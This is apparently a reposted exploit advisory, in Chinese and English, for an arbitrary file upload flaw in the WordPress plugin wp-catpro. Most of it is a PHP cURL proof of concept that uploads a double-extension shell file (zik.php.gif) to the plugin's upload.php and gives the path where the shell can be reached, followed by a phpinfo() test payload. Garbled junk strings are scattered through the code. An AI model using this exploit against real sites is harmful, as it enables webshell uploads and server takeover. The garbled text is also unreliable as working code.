WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
; f: \6 x( Q2 R* N) [  J3 g0 m
#=> Exploit 信息:
------------------
# 攻击者可以上传 file/shell.php.gif
: K* m% m# y* i+ h% j5 B% d5 Q# ("jpg", "gif", "png")  // Allowed file extensions
5 m2 d; u( {7 I- U# u4 S# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
! g; Z! ?' [: P/ y# v" x6 @/ N
#=> Exploit
3 K$ b& P' B- |( S! d- C" d( J-----------
! C  {% W4 @: \3 o<?php
7 Z4 q- B1 q, r# ]4 a/ G- g
7 F& z7 D2 ^/ o6 P( m1 |$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
0 a$ |8 d- c3 E, Q6 z4 L6 b; scurl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
6 O6 B( E+ E$ j- darray('Filedata'=>"@$uploadfile",
- j8 e( t+ f" }, y4 V6 J$ F0 v& m'folder'=>'/wp-content/uploads/catpro/'));
2 {) ], @1 f; w# T, c. n' ~curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);

0 \, G5 @+ ^* Q8 G0 V  O( b6 N- Lprint "$postResult";
. N' ^+ R6 K; [* m0 ^
8 C0 y+ O8 \" w$ i2 H& }; |Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
8 y6 [. K1 g/ {  ?>
<?php
phpinfo();
7 O+ M8 m  y  Y7 e; G& G6 G?>